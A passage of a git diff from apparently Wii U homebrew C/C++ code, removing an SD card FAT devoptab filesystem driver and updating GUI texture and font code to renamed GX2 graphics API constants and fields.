(sd_fat_file_state_t *)fd; - if(!file->dev) { - r->_errno = ENODEV; - return 0; - } - - OSLockMutex(file->dev->pMutex); - - switch(dir) - { - case SEEK_SET: - file->pos = pos; - break; - case SEEK_CUR: - file->pos += pos; - break; - case SEEK_END: - file->pos = file->len + pos; - break; - default: - r->_errno = EINVAL; - return -1; - } - - int result = FSSetPosFile(file->dev->pClient, file->dev->pCmd, file->fd, file->pos, -1); - - OSUnlockMutex(file->dev->pMutex); - - if(result == 0) - { - return file->pos; - } - - return result; -} - -static ssize_t sd_fat_write_r (struct _reent *r, int fd, const char *ptr, size_t len) -{ - sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; - if(!file->dev) { - r->_errno = ENODEV; - return 0; - } - - if(!file->write) - { - r->_errno = EACCES; - return 0; - } - - OSLockMutex(file->dev->pMutex); - - size_t len_aligned = FS_ALIGN(len); - if(len_aligned > 0x4000) - len_aligned = 0x4000; - - unsigned char *tmpBuf = (unsigned char *)memalign(FS_ALIGNMENT, len_aligned); - if(!tmpBuf) { - r->_errno = ENOMEM; - OSUnlockMutex(file->dev->pMutex); - return 0; - } - - size_t done = 0; - - while(done < len) - { - size_t write_size = (len_aligned < (len - done)) ? len_aligned : (len - done); - memcpy(tmpBuf, ptr + done, write_size); - - int result = FSWriteFile(file->dev->pClient, file->dev->pCmd, tmpBuf, 0x01, write_size, file->fd, 0, -1); - if(result < 0) - { - r->_errno = result; - break; - } - else if(result == 0) - { - if(write_size > 0) - done = 0; - break; - } - else - { - done += result; - file->pos += result; - } - } - - free(tmpBuf); - OSUnlockMutex(file->dev->pMutex); - return done; -} - -static ssize_t sd_fat_read_r (struct _reent *r, int fd, char *ptr, size_t len) -{ - sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; - if(!file->dev) { - r->_errno = ENODEV; - return 0; - } - - if(!file->read) - { - r->_errno = EACCES; - return 0; - } - - OSLockMutex(file->dev->pMutex); - - size_t len_aligned = FS_ALIGN(len); - if(len_aligned > 0x4000) - len_aligned = 0x4000; - - unsigned char *tmpBuf = (unsigned char *)memalign(FS_ALIGNMENT, len_aligned); - if(!tmpBuf) { - r->_errno = ENOMEM; - OSUnlockMutex(file->dev->pMutex); - return 0; - } - - size_t done = 0; - - while(done < len) - { - size_t read_size = (len_aligned < (len - done)) ? len_aligned : (len - done); - - int result = FSReadFile(file->dev->pClient, file->dev->pCmd, tmpBuf, 0x01, read_size, file->fd, 0, -1); - if(result < 0) - { - r->_errno = result; - done = 0; - break; - } - else if(result == 0) - { - //! TODO: error on read_size > 0 - break; - } - else - { - memcpy(ptr + done, tmpBuf, read_size); - done += result; - file->pos += result; - } - } - - free(tmpBuf); - OSUnlockMutex(file->dev->pMutex); - return done; -} - - -static int sd_fat_fstat_r (struct _reent *r, int fd, struct stat *st) -{ - sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; - if(!file->dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(file->dev->pMutex); - - // Zero out the stat buffer - memset(st, 0, sizeof(struct stat)); - - FSStat stats; - int result = FSGetStatFile(file->dev->pClient, file->dev->pCmd, file->fd, &stats, -1); - if(result != 0) { - r->_errno = result; - OSUnlockMutex(file->dev->pMutex); - return -1; - } - - st->st_mode = S_IFREG; - st->st_size = stats.size; - st->st_blocks = (stats.size + 511) >> 9; - st->st_nlink = 1; - - // Fill in the generic entry stats - st->st_dev = stats.ent_id; - st->st_uid = stats.owner_id; - st->st_gid = stats.group_id; - st->st_ino = stats.ent_id; - st->st_atime = stats.mtime; - st->st_ctime = stats.ctime; - st->st_mtime = stats.mtime; - OSUnlockMutex(file->dev->pMutex); - return 0; -} - -static int sd_fat_ftruncate_r (struct _reent *r, int fd, off_t len) -{ - sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; - if(!file->dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(file->dev->pMutex); - - int result = FSTruncateFile(file->dev->pClient, file->dev->pCmd, file->fd, -1); - - OSUnlockMutex(file->dev->pMutex); - - if(result < 0) { - r->_errno = result; - return -1; - } - - return 0; -} - -static int sd_fat_fsync_r (struct _reent *r, int fd) -{ - sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; - if(!file->dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(file->dev->pMutex); - - int result = FSFlushFile(file->dev->pClient, file->dev->pCmd, file->fd, -1); - - OSUnlockMutex(file->dev->pMutex); - - if(result < 0) { - r->_errno = result; - return -1; - } - - return 0; -} - -static int sd_fat_stat_r (struct _reent *r, const char *path, struct stat *st) -{ - sd_fat_private_t *dev = sd_fat_get_device_data(path); - if(!dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(dev->pMutex); - - // Zero out the stat buffer - memset(st, 0, sizeof(struct stat)); - - char *real_path = sd_fat_real_path(path, dev); - if(!real_path) { - r->_errno = ENOMEM; - OSUnlockMutex(dev->pMutex); - return -1; - } - - FSStat stats; - - int result = FSGetStat(dev->pClient, dev->pCmd, real_path, &stats, -1); - - free(real_path); - - if(result < 0) { - r->_errno = result; - OSUnlockMutex(dev->pMutex); - return -1; - } - - // mark root also as directory - st->st_mode = ((stats.flag & 0x80000000) || (strlen(dev->mount_path) + 1 == strlen(real_path)))? S_IFDIR : S_IFREG; - st->st_nlink = 1; - st->st_size = stats.size; - st->st_blocks = (stats.size + 511) >> 9; - // Fill in the generic entry stats - st->st_dev = stats.ent_id; - st->st_uid = stats.owner_id; - st->st_gid = stats.group_id; - st->st_ino = stats.ent_id; - st->st_atime = stats.mtime; - st->st_ctime = stats.ctime; - st->st_mtime = stats.mtime; - - OSUnlockMutex(dev->pMutex); - - return 0; -} - -static int sd_fat_link_r (struct _reent *r, const char *existing, const char *newLink) -{ - r->_errno = ENOTSUP; - return -1; -} - -static int sd_fat_unlink_r (struct _reent *r, const char *name) -{ - sd_fat_private_t *dev = sd_fat_get_device_data(name); - if(!dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(dev->pMutex); - - char *real_path = sd_fat_real_path(name, dev); - if(!real_path) { - r->_errno = ENOMEM; - OSUnlockMutex(dev->pMutex); - return -1; - } - - - int result = FSRemove(dev->pClient, dev->pCmd, real_path, -1); - - free(real_path); - - OSUnlockMutex(dev->pMutex); - - if(result < 0) { - r->_errno = result; - return -1; - } - - return 0; -} - -static int sd_fat_chdir_r (struct _reent *r, const char *name) -{ - sd_fat_private_t *dev = sd_fat_get_device_data(name); - if(!dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(dev->pMutex); - - char *real_path = sd_fat_real_path(name, dev); - if(!real_path) { - r->_errno = ENOMEM; - OSUnlockMutex(dev->pMutex); - return -1; - } - - int result = FSChangeDir(dev->pClient, dev->pCmd, real_path, -1); - - free(real_path); - - OSUnlockMutex(dev->pMutex); - - if(result < 0) { - r->_errno = result; - return -1; - } - - return 0; -} - -static int sd_fat_rename_r (struct _reent *r, const char *oldName, const char *newName) -{ - sd_fat_private_t *dev = sd_fat_get_device_data(oldName); - if(!dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(dev->pMutex); - - char *real_oldpath = sd_fat_real_path(oldName, dev); - if(!real_oldpath) { - r->_errno = ENOMEM; - OSUnlockMutex(dev->pMutex); - return -1; - } - char *real_newpath = sd_fat_real_path(newName, dev); - if(!real_newpath) { - r->_errno = ENOMEM; - free(real_oldpath); - OSUnlockMutex(dev->pMutex); - return -1; - } - - int result = FSRename(dev->pClient, dev->pCmd, real_oldpath, real_newpath, -1); - - free(real_oldpath); - free(real_newpath); - - OSUnlockMutex(dev->pMutex); - - if(result < 0) { - r->_errno = result; - return -1; - } - - return 0; - -} - -static int sd_fat_mkdir_r (struct _reent *r, const char *path, int mode) -{ - sd_fat_private_t *dev = sd_fat_get_device_data(path); - if(!dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(dev->pMutex); - - char *real_path = sd_fat_real_path(path, dev); - if(!real_path) { - r->_errno = ENOMEM; - OSUnlockMutex(dev->pMutex); - return -1; - } - - int result = FSMakeDir(dev->pClient, dev->pCmd, real_path, -1); - - free(real_path); - - OSUnlockMutex(dev->pMutex); - - if(result < 0) { - r->_errno = result; - return -1; - } - - return 0; -} - -static int sd_fat_statvfs_r (struct _reent *r, const char *path, struct statvfs *buf) -{ - sd_fat_private_t *dev = sd_fat_get_device_data(path); - if(!dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(dev->pMutex); - - // Zero out the stat buffer - memset(buf, 0, sizeof(struct statvfs)); - - char *real_path = sd_fat_real_path(path, dev); - if(!real_path) { - r->_errno = ENOMEM; - OSUnlockMutex(dev->pMutex); - return -1; - } - - u64 size; - - int result = FSGetFreeSpaceSize(dev->pClient, dev->pCmd, real_path, &size, -1); - - free(real_path); - - if(result < 0) { - r->_errno = result; - OSUnlockMutex(dev->pMutex); - return -1; - } - - // File system block size - buf->f_bsize = 512; - - // Fundamental file system block size - buf->f_frsize = 512; - - // Total number of blocks on file system in units of f_frsize - buf->f_blocks = size >> 9; // this is unknown - - // Free blocks available for all and for non-privileged processes - buf->f_bfree = buf->f_bavail = size >> 9; - - // Number of inodes at this point in time - buf->f_files = 0xffffffff; - - // Free inodes available for all and for non-privileged processes - buf->f_ffree = 0xffffffff; - - // File system id - buf->f_fsid = (int)dev; - - // Bit mask of f_flag values. - buf->f_flag = 0; - - // Maximum length of filenames - buf->f_namemax = 255; - - OSUnlockMutex(dev->pMutex); - - return 0; -} - -static DIR_ITER *sd_fat_diropen_r (struct _reent *r, DIR_ITER *dirState, const char *path) -{ - sd_fat_private_t *dev = sd_fat_get_device_data(path); - if(!dev) { - r->_errno = ENODEV; - return NULL; - } - - sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; - - OSLockMutex(dev->pMutex); - - char *real_path = sd_fat_real_path(path, dev); - if(!real_path) { - r->_errno = ENOMEM; - OSUnlockMutex(dev->pMutex); - return NULL; - } - - int dirHandle; - - int result = FSOpenDir(dev->pClient, dev->pCmd, real_path, &dirHandle, -1); - - free(real_path); - - OSUnlockMutex(dev->pMutex); - - if(result < 0) - { - r->_errno = result; - return NULL; - } - - dirIter->dev = dev; - dirIter->dirHandle = dirHandle; - - return dirState; -} - -static int sd_fat_dirclose_r (struct _reent *r, DIR_ITER *dirState) -{ - sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; - if(!dirIter->dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(dirIter->dev->pMutex); - - int result = FSCloseDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, -1); - - OSUnlockMutex(dirIter->dev->pMutex); - - if(result < 0) - { - r->_errno = result; - return -1; - } - return 0; -} - -static int sd_fat_dirreset_r (struct _reent *r, DIR_ITER *dirState) -{ - sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; - if(!dirIter->dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(dirIter->dev->pMutex); - - int result = FSRewindDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, -1); - - OSUnlockMutex(dirIter->dev->pMutex); - - if(result < 0) - { - r->_errno = result; - return -1; - } - return 0; -} - -static int sd_fat_dirnext_r (struct _reent *r, DIR_ITER *dirState, char *filename, struct stat *st) -{ - sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; - if(!dirIter->dev) { - r->_errno = ENODEV; - return -1; - } - - OSLockMutex(dirIter->dev->pMutex); - - FSDirEntry * dir_entry = malloc(sizeof(FSDirEntry)); - - int result = FSReadDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, dir_entry, -1); - if(result < 0) - { - free(dir_entry); - r->_errno = result; - OSUnlockMutex(dirIter->dev->pMutex); - return -1; - } - - // Fetch the current entry - strcpy(filename, dir_entry->name); - - if(st) - { - memset(st, 0, sizeof(struct stat)); - st->st_mode = (dir_entry->stat.flag & 0x80000000) ? S_IFDIR : S_IFREG; - st->st_nlink = 1; - st->st_size = dir_entry->stat.size; - st->st_blocks = (dir_entry->stat.size + 511) >> 9; - st->st_dev = dir_entry->stat.ent_id; - st->st_uid = dir_entry->stat.owner_id; - st->st_gid = dir_entry->stat.group_id; - st->st_ino = dir_entry->stat.ent_id; - st->st_atime = dir_entry->stat.mtime; - st->st_ctime = dir_entry->stat.ctime; - st->st_mtime = dir_entry->stat.mtime; - } - - free(dir_entry); - OSUnlockMutex(dirIter->dev->pMutex); - return 0; -} - -// NTFS device driver devoptab -static const devoptab_t devops_sd_fat = { - NULL, /* Device name */ - sizeof (sd_fat_file_state_t), - sd_fat_open_r, - sd_fat_close_r, - sd_fat_write_r, - sd_fat_read_r, - sd_fat_seek_r, - sd_fat_fstat_r, - sd_fat_stat_r, - sd_fat_link_r, - sd_fat_unlink_r, - sd_fat_chdir_r, - sd_fat_rename_r, - sd_fat_mkdir_r, - sizeof (sd_fat_dir_entry_t), - sd_fat_diropen_r, - sd_fat_dirreset_r, - sd_fat_dirnext_r, - sd_fat_dirclose_r, - sd_fat_statvfs_r, - sd_fat_ftruncate_r, - sd_fat_fsync_r, - NULL, /* sd_fat_chmod_r */ - NULL, /* sd_fat_fchmod_r */ - NULL /* Device data */ -}; - -static int sd_fat_add_device (const char *name, const char *mount_path, void *pClient, void *pCmd) -{ - devoptab_t *dev = NULL; - char *devname = NULL; - char *devpath = NULL; - int i; - - // Sanity check - if (!name) { - errno = EINVAL; - return -1; - } - - // Allocate a devoptab for this device - dev = (devoptab_t *) malloc(sizeof(devoptab_t) + strlen(name) + 1); - if (!dev) { - errno = ENOMEM; - return -1; - } - - // Use the space allocated at the end of the devoptab for storing the device name - devname = (char*)(dev + 1); - strcpy(devname, name); - - // create private data - sd_fat_private_t *priv = (sd_fat_private_t *)malloc(sizeof(sd_fat_private_t) + strlen(mount_path) + 1); - if(!priv) { - free(dev); - errno = ENOMEM; - return -1; - } - - devpath = (char*)(priv+1); - strcpy(devpath, mount_path); - - // setup private data - priv->mount_path = devpath; - priv->pClient = pClient; - priv->pCmd = pCmd; - priv->pMutex = malloc(OS_MUTEX_SIZE); - - if(!priv->pMutex) { - free(dev); - free(priv); - errno = ENOMEM; - return -1; - } - - OSInitMutex(priv->pMutex); - - // Setup the devoptab - memcpy(dev, &devops_sd_fat, sizeof(devoptab_t)); - dev->name = devname; - dev->deviceData = priv; - - // Add the device to the devoptab table (if there is a free slot) - for (i = 3; i < STD_MAX; i++) { - if (devoptab_list[i] == devoptab_list[0]) { - devoptab_list[i] = dev; - return 0; - } - } - - // failure, free all memory - free(priv); - free(dev); - - // If we reach here then there are no free slots in the devoptab table for this device - errno = EADDRNOTAVAIL; - return -1; -} - -static int sd_fat_remove_device (const char *path, void **pClient, void **pCmd, char **mountPath) -{ - const devoptab_t *devoptab = NULL; - char name[128] = {0}; - int i; - - // Get the device name from the path - strncpy(name, path, 127); - strtok(name, ":/"); - - // Find and remove the specified device from the devoptab table - // NOTE: We do this manually due to a 'bug' in RemoveDevice - // which ignores names with suffixes and causes names - // like "ntfs" and "ntfs1" to be seen as equals - for (i = 3; i < STD_MAX; i++) { - devoptab = devoptab_list[i]; - if (devoptab && devoptab->name) { - if (strcmp(name, devoptab->name) == 0) { - devoptab_list[i] = devoptab_list[0]; - - if(devoptab->deviceData) - { - sd_fat_private_t *priv = (sd_fat_private_t *)devoptab->deviceData; - *pClient = priv->pClient; - *pCmd = priv->pCmd; - *mountPath = (char*) malloc(strlen(priv->mount_path)+1); - if(*mountPath) - strcpy(*mountPath, priv->mount_path); - if(priv->pMutex) - free(priv->pMutex); - free(devoptab->deviceData); - } - - free((devoptab_t*)devoptab); - return 0; - } - } - } - - return -1; -} - -int mount_sd_fat(const char *path) -{ - int result = -1; - - // get command and client - void* pClient = malloc(FS_CLIENT_SIZE); - void* pCmd = malloc(FS_CMD_BLOCK_SIZE); - - if(!pClient || !pCmd) { - // just in case free if not 0 - if(pClient) - free(pClient); - if(pCmd) - free(pCmd); - return -2; - } - - FSInit(); - FSInitCmdBlock(pCmd); - FSAddClientEx(pClient, 0, -1); - - char *mountPath = NULL; - - if(MountFS(pClient, pCmd, &mountPath) == 0) { - result = sd_fat_add_device(path, mountPath, pClient, pCmd); - free(mountPath); - } - - return result; -} - -int unmount_sd_fat(const char *path) -{ - void *pClient = 0; - void *pCmd = 0; - char *mountPath = 0; - - int result = sd_fat_remove_device(path, &pClient, &pCmd, &mountPath); - if(result == 0) - { - UmountFS(pClient, pCmd, mountPath); - FSDelClient(pClient); - free(pClient); - free(pCmd); - free(mountPath); - //FSShutdown(); - } - return result; -} diff --git a/src/fs/sd_fat_devoptab.h b/src/fs/sd_fat_devoptab.h deleted file mode 100644 index 8df487a..0000000 --- a/src/fs/sd_fat_devoptab.h +++ /dev/null @@ -1,38 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __SD_FAT_DEVOPTAB_H_ -#define __SD_FAT_DEVOPTAB_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -int mount_sd_fat(const char *path); -int unmount_sd_fat(const char *path); - -#ifdef __cplusplus -} -#endif - -#endif // __SD_FAT_DEVOPTAB_H_ diff --git a/src/gui/FreeTypeGX.cpp b/src/gui/FreeTypeGX.cpp index 6111153..9a9cc59 100755 --- a/src/gui/FreeTypeGX.cpp +++ b/src/gui/FreeTypeGX.cpp @@ -36,7 +36,7 @@ FreeTypeGX::FreeTypeGX(const uint8_t* fontBuffer, FT_Long bufferSize, bool lastF { int faceIndex = 0; ftPointSize = 0; - GX2InitSampler(&ftSampler, GX2_TEX_CLAMP_CLAMP_BORDER, GX2_TEX_XY_FILTER_BILINEAR); + GX2InitSampler(&ftSampler, GX2_TEX_CLAMP_MODE_CLAMP_BORDER, GX2_TEX_XY_FILTER_MODE_LINEAR); FT_Init_FreeType(&ftLibrary); if(lastFace) @@ -163,8 +163,8 @@ void FreeTypeGX::unloadFont() { if(itr2->second.texture) { - if(itr2->second.texture->surface.image_data) - free(itr2->second.texture->surface.image_data); + if(itr2->second.texture->surface.image) + free(itr2->second.texture->surface.image); delete itr2->second.texture; itr2->second.texture = NULL; @@ -235,7 +235,7 @@ ftgxCharData * FreeTypeGX::cacheGlyphData(wchar_t charCode, int16_t pixelSize) //! Initialize texture charData->texture = new GX2Texture; - GX2InitTexture(charData->texture, textureWidth, textureHeight, 1, 0, GX2_SURFACE_FORMAT_TC_R5_G5_B5_A1_UNORM, GX2_SURFACE_DIM_2D, GX2_TILE_MODE_LINEAR_ALIGNED); + GX2InitTexture(charData->texture, textureWidth, textureHeight, 1, 0, GX2_SURFACE_FORMAT_UNORM_R5_G5_B5_A1, GX2_SURFACE_DIM_TEXTURE_2D, GX2_TILE_MODE_LINEAR_ALIGNED); loadGlyphData(glyphBitmap, charData); @@ -277,14 +277,14 @@ uint16_t FreeTypeGX::cacheGlyphDataComplete(int16_t pixelSize) void FreeTypeGX::loadGlyphData(FT_Bitmap *bmp, ftgxCharData *charData) { - charData->texture->surface.image_data = (uint8_t *) memalign(charData->texture->surface.align, charData->texture->surface.image_size); - if(!charData->texture->surface.image_data) + charData->texture->surface.image = (uint8_t *) memalign(charData->texture->surface.alignment, charData->texture->surface.imageSize); + if(!charData->texture->surface.image) return; - memset(charData->texture->surface.image_data, 0x00, charData->texture->surface.image_size); + memset(charData->texture->surface.image, 0x00, charData->texture->surface.imageSize); uint8_t *src = (uint8_t *)bmp->buffer; - uint16_t *dst = (uint16_t *)charData->texture->surface.image_data; + uint16_t *dst = (uint16_t *)charData->texture->surface.image; int32_t x, y; for(y = 0; y < bmp->rows; y++) @@ -295,7 +295,7 @@ void FreeTypeGX::loadGlyphData(FT_Bitmap *bmp, ftgxCharData *charData) dst[y * charData->texture->surface.pitch + x] = intensity ? ((intensity << 11) | (intensity << 6) | (intensity << 1) | 1) : 0; } } - GX2Invalidate(GX2_INVALIDATE_CPU_TEXTURE, charData->texture->surface.image_data, charData->texture->surface.image_size); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_TEXTURE, charData->texture->surface.image, charData->texture->surface.imageSize); } /** @@ -390,6 +390,7 @@ uint16_t FreeTypeGX::drawText(CVideo *video, int16_t x, int16_t y, int16_t z, co } int i = 0; + while (text[i]) { ftgxCharData* glyphData = cacheGlyphData(text[i], pixelSize); diff --git a/src/gui/FreeTypeGX.h b/src/gui/FreeTypeGX.h index cd430b4..c3843d2 100755 --- a/src/gui/FreeTypeGX.h +++ b/src/gui/FreeTypeGX.h @@ -23,7 +23,6 @@ #ifndef FREETYPEGX_H_ #define FREETYPEGX_H_ -#include #include #include #include FT_FREETYPE_H @@ -37,7 +36,7 @@ #include #include -#include "dynamic_libs/gx2_functions.h" +#include "common/types.h" /*! \struct ftgxCharData_ * diff --git a/src/gui/GuiElement.h b/src/gui/GuiElement.h index 018b2b3..dda898d 100644 --- a/src/gui/GuiElement.h +++ b/src/gui/GuiElement.h @@ -19,7 +19,6 @@ #include #include -#include #include #include #include @@ -28,11 +27,11 @@ #include #include +#include "common/types.h" #include "sigslot.h" #include "glm/glm.hpp" #include "glm/gtc/matrix_transform.hpp" -#include "dynamic_libs/gx2_types.h" #include "resources/Resources.h" #include "system/AsyncDeleter.h" #include "utils/logger.h" diff --git a/src/gui/GuiImage.cpp b/src/gui/GuiImage.cpp index 344b770..d80001d 100644 --- a/src/gui/GuiImage.cpp +++ b/src/gui/GuiImage.cpp @@ -92,7 +92,7 @@ void GuiImage::internalInit(int w, int h) posVtxs = NULL; texCoords = NULL; vtxCount = 4; - primitive = GX2_PRIMITIVE_QUADS; + primitive = GX2_PRIMITIVE_MODE_QUADS; imageAngle = 0.0f; blurDirection = glm::vec3(0.0f); @@ -120,7 +120,7 @@ GX2Color GuiImage::getPixel(int x, int y) return (GX2Color){0, 0, 0, 0}; u32 pitch = imageData->getTexture()->surface.pitch; - u32 *imagePtr = (u32*)imageData->getTexture()->surface.image_data; + u32 *imagePtr = (u32*)imageData->getTexture()->surface.image; u32 color_u32 = imagePtr[y * pitch + x]; GX2Color color; @@ -138,7 +138,7 @@ void GuiImage::setPixel(int x, int y, const GX2Color & color) u32 pitch = imageData->getTexture()->surface.pitch; - u32 *imagePtr = (u32*)imageData->getTexture()->surface.image_data; + u32 *imagePtr = (u32*)imageData->getTexture()->surface.image; imagePtr[y * pitch + x] = (color.r << 24) | (color.g << 16) | (color.b << 8) | (color.a << 0); } @@ -260,7 +260,7 @@ void GuiImage::draw(CVideo *pVideo) // } if(colorVtxsDirty && colorVtxs) { //! flush color vertex only on main GX2 thread - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, colorVtxs, colorCount * ColorShader::cuColorAttrSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, colorVtxs, colorCount * ColorShader::cuColorAttrSize); colorVtxsDirty = false; } diff --git a/src/gui/GuiImageAsync.cpp b/src/gui/GuiImageAsync.cpp index f453719..78208b9 100644 --- a/src/gui/GuiImageAsync.cpp +++ b/src/gui/GuiImageAsync.cpp @@ -117,7 +117,7 @@ void GuiImageAsync::guiImageAsyncThread(CThread *thread, void *arg) int iResult = LoadFileToMem(pInUse->filename.c_str(), &buffer, &bufferSize); if(iResult > 0) { - pInUse->imgData = new GuiImageData(buffer, bufferSize, GX2_TEX_CLAMP_MIRROR); + pInUse->imgData = new GuiImageData(buffer, bufferSize, GX2_TEX_CLAMP_MODE_MIRROR); //! free original image buffer which is converted to texture now and not needed anymore free(buffer); diff --git a/src/gui/GuiImageAsync.h b/src/gui/GuiImageAsync.h index c0f2880..939a2c6 100644 --- a/src/gui/GuiImageAsync.h +++ b/src/gui/GuiImageAsync.h @@ -21,7 +21,6 @@ #include "GuiImage.h" #include "system/CThread.h" #include "system/CMutex.h" -#include "dynamic_libs/os_functions.h" class GuiImageAsync : public GuiImage { diff --git a/src/gui/GuiImageData.cpp b/src/gui/GuiImageData.cpp index 83ad08a..b0c51af 100644 --- a/src/gui/GuiImageData.cpp +++ b/src/gui/GuiImageData.cpp @@ -18,6 +18,8 @@ #include #include "GuiImageData.h" #include "system/memory.h" +#include "video/CVideo.h" +#include "common/gx2_ext.h" /** * Constructor for the GuiImageData class. */ @@ -31,7 +33,7 @@ GuiImageData::GuiImageData() /** * Constructor for the GuiImageData class. */ -GuiImageData::GuiImageData(const u8 * img, int imgSize, int textureClamp, int textureFormat) +GuiImageData::GuiImageData(const u8 * img, int imgSize, GX2TexClampMode textureClamp, GX2SurfaceFormat textureFormat) { texture = NULL; sampler = NULL; @@ -49,19 +51,19 @@ GuiImageData::~GuiImageData() void GuiImageData::releaseData(void) { if(texture) { - if(texture->surface.image_data) + if(texture->surface.image) { switch(memoryType) { default: case eMemTypeMEM2: - free(texture->surface.image_data); + free(texture->surface.image); break; case eMemTypeMEM1: - MEM1_free(texture->surface.image_data); + MEM1_free(texture->surface.image); break; case eMemTypeMEMBucket: - MEMBucket_free(texture->surface.image_data); + MEMBucket_free(texture->surface.image); break; } } @@ -74,7 +76,7 @@ void GuiImageData::releaseData(void) } } -void GuiImageData::loadImage(const u8 *img, int imgSize, int textureClamp, int textureFormat) +void GuiImageData::loadImage(const u8 *img, int imgSize, GX2TexClampMode textureClamp, GX2SurfaceFormat textureFormat) { if(!img || (imgSize < 8)) return; @@ -114,10 +116,10 @@ void GuiImageData::loadImage(const u8 *img, int imgSize, int textureClamp, int t //! Initialize texture texture = new GX2Texture; - GX2InitTexture(texture, width, height, 1, 0, textureFormat, GX2_SURFACE_DIM_2D, GX2_TILE_MODE_LINEAR_ALIGNED); + GX2InitTexture(texture, width, height, 1, 0, textureFormat, GX2_SURFACE_DIM_TEXTURE_2D, GX2_TILE_MODE_LINEAR_ALIGNED); //! if this fails something went horribly wrong - if(texture->surface.image_size == 0) { + if(texture->surface.imageSize == 0) { delete texture; texture = NULL; gdImageDestroy(gdImg); @@ -126,35 +128,35 @@ void GuiImageData::loadImage(const u8 *img, int imgSize, int textureClamp, int t //! allocate memory for the surface memoryType = eMemTypeMEM2; - texture->surface.image_data = memalign(texture->surface.align, texture->surface.image_size); + texture->surface.image = memalign(texture->surface.alignment, texture->surface.imageSize); //! try MEM1 on failure - if(!texture->surface.image_data) { + if(!texture->surface.image) { memoryType = eMemTypeMEM1; - texture->surface.image_data = MEM1_alloc(texture->surface.image_size, texture->surface.align); + texture->surface.image = MEM1_alloc(texture->surface.imageSize, texture->surface.alignment); } //! try MEM bucket on failure - if(!texture->surface.image_data) { + if(!texture->surface.image) { memoryType = eMemTypeMEMBucket; - texture->surface.image_data = MEMBucket_alloc(texture->surface.image_size, texture->surface.align); + texture->surface.image = MEMBucket_alloc(texture->surface.imageSize, texture->surface.alignment); } //! check if memory is available for image - if(!texture->surface.image_data) { + if(!texture->surface.image) { gdImageDestroy(gdImg); delete texture; texture = NULL; return; } //! set mip map data pointer - texture->surface.mip_data = NULL; + texture->surface.mipmaps = NULL; //! convert image to texture switch(textureFormat) { default: - case GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM: - gdImageToUnormR8G8B8A8(gdImg, (u32*)texture->surface.image_data, texture->surface.width, texture->surface.height, texture->surface.pitch); + case GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8: + gdImageToUnormR8G8B8A8(gdImg, (u32*)texture->surface.image, texture->surface.width, texture->surface.height, texture->surface.pitch); break; - case GX2_SURFACE_FORMAT_TCS_R5_G6_B5_UNORM: - gdImageToUnormR5G6B5(gdImg, (u16*)texture->surface.image_data, texture->surface.width, texture->surface.height, texture->surface.pitch); + case GX2_SURFACE_FORMAT_UNORM_R5_G6_B5: + gdImageToUnormR5G6B5(gdImg, (u16*)texture->surface.image, texture->surface.width, texture->surface.height, texture->surface.pitch); break; } @@ -162,10 +164,10 @@ void GuiImageData::loadImage(const u8 *img, int imgSize, int textureClamp, int t gdImageDestroy(gdImg); //! invalidate the memory - GX2Invalidate(GX2_INVALIDATE_CPU_TEXTURE, texture->surface.image_data, texture->surface.image_size); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_TEXTURE, texture->surface.image, texture->surface.imageSize); //! initialize the sampler sampler = new GX2Sampler; - GX2InitSampler(sampler, textureClamp, GX2_TEX_XY_FILTER_BILINEAR); + GX2InitSampler(sampler, textureClamp, GX2_TEX_XY_FILTER_MODE_LINEAR); } void GuiImageData::gdImageToUnormR8G8B8A8(gdImagePtr gdImg, u32 *imgBuffer, u32 width, u32 height, u32 pitch) diff --git a/src/gui/GuiImageData.h b/src/gui/GuiImageData.h index 03bc1df..78781ca 100644 --- a/src/gui/GuiImageData.h +++ b/src/gui/GuiImageData.h @@ -17,9 +17,10 @@ #ifndef GUI_IMAGEDATA_H_ #define GUI_IMAGEDATA_H_ -#include #include -#include "dynamic_libs/gx2_functions.h" +#include +#include +#include #include "system/AsyncDeleter.h" class GuiImageData : public AsyncDeleter::Element @@ -29,13 +30,13 @@ public: GuiImageData(); //!\param img Image data //!\param imgSize The image size - GuiImageData(const u8 * img, int imgSize, int textureClamp = GX2_TEX_CLAMP_CLAMP, int textureFormat = 